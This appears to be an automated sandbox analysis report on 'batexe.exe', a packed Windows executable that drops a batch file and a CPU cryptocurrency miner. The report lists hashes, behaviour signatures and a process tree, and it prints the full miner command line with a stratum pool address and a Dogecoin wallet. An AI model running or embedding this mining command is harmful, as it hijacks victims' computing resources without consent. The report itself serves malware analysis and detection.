Analysis

  • max time kernel
    293s
  • max time network
    307s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    23-02-2024 18:55

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3388
    • C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A7C9.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3380

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe

    Filesize

    21.3MB

    MD5

    9163180b507ce318ff60dca708f0c1e2

    SHA1

    2b97cc4e25794774bb73e89597b86b6dfe475efc

    SHA256

    6a54705e102e22e0eee0fddbb27f291c054b8dc275edb511f0ff169afef2d4eb

    SHA512

    ff315a94299b2bf9631421ea21a91ff847e7536b5a8e7443f2983a5342795392fbda7e59899a0af47a065f7ca0ad4c2aed7ae238eb4f56241b9a9fbeca9f0551

  • C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe

    Filesize

    6.4MB

    MD5

    4f7f69275c69ae9c7465de6ade1e57c5

    SHA1

    2c8c470f382f2f68519a61800bb7646cfbc06a9c

    SHA256

    1d1a38feebf98d876038ac08880893470f1ba2f5d922cc81a1829227f7c6f3c5

    SHA512

    bcf429e0e666e90ac8b51a00a5d5003794d40df13c2c8d5f4870d04c8036c21095798ab64821a4c02718427080044becd9972aa52c9b24b925ec504b84eebb4b

  • C:\Users\Admin\AppData\Local\Temp\9D98.tmp\b2e.exe

    Filesize

    5.6MB

    MD5

    d009ea00d4e481b5cc36d8b9902ebaed

    SHA1

    9ed7f0293eb58a29c6bbb5b93a18f4c030c63212

    SHA256

    22b6a093155754f8007ea4e1814e299a927d3a32187eaece9cbf13b228b48bbd

    SHA512

    8f98ab491d94d63d9841a7ab7cc0c4842cae342938fa710dafe00cab6c8b6e044b1bd1b58df7854c08672529febdf225dbde5a3c71733f7d91ba9185dd4a5fc4

  • C:\Users\Admin\AppData\Local\Temp\A7C9.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.2MB

    MD5

    95aa2d828d34d86f93c1b9d19a7cf0ad

    SHA1

    1c6654cb778f60be8ef7d4586b54f2b8df7600b3

    SHA256

    8783f412bb5b47ffa40a1800b0f0dc9b30064013abe3f628ce0719af2430dc0a

    SHA512

    7c5f8f2e6334b254f766c07576e77322f40b5fdf5068aae0abc167c7be6660d78bc8a093c4cf5499292686ef93a71d1f73bf267ded96b24ed9ecc353c7f4738b

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.6MB

    MD5

    2ca346b262034f9da9be416b30eb26c7

    SHA1

    6aacaef9d9eea6d4dd20af49d78dad1d70831ce7

    SHA256

    58c91e911d811cef43a599ac1c5aa5ec7be06e778be4d95fe69190374d897b52

    SHA512

    e02a028dcee392035dec327806fc25732c729d20c5d4018031ca6b9c5897a6d33a609a8280eb9813f6ee87154c6e5f095693543b18108c42f6155f6d053a906e

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    2.9MB

    MD5

    e8f54c9d2232b5e2661924e19f988e43

    SHA1

    dcb989bffcd25371a75c61e67222303bbde7bec8

    SHA256

    d11dbc57e8321c02cc16112a6300d8eb8cd869c3af1931ebb880b2a7273dc533

    SHA512

    c26b151a25ba76acf2e9beeaa812a2feced12b8c8bcc06f763bcd00e512e3372a6582b48b2542e07e3aac7a8202405edb04db5466637a73438d5e423427fc98d

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/3380-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-106-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

    Filesize

    24.7MB

  • memory/3380-47-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3380-48-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/3380-49-0x0000000076310000-0x00000000763A8000-memory.dmp

    Filesize

    608KB

  • memory/3380-55-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3380-42-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/3388-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/3864-60-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3864-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB